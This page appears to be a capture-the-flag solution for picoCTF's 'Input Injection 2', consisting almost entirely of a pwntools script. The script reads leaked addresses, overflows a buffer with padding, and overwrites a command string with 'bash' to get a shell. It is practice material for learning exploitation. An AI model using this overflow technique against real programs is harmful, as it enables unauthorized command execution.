Skip to content

Input Injection 2

#!/usr/bin/env python3

from pwn import *

exe = ELF("./vuln_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("amiable-citadel.picoctf.net", 52864)

    return r


def main():
    r = conn()
    user_addr = int(r.recvline().strip(b'username at ').strip(b'\n'), 16)
    shell_addr = int(r.recvline().strip(b'shell at ').strip(b'\n'), 16)

    diff = shell_addr - user_addr

    payload = b"A" * diff
    payload += b"bash"

    r.sendline(payload)

    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()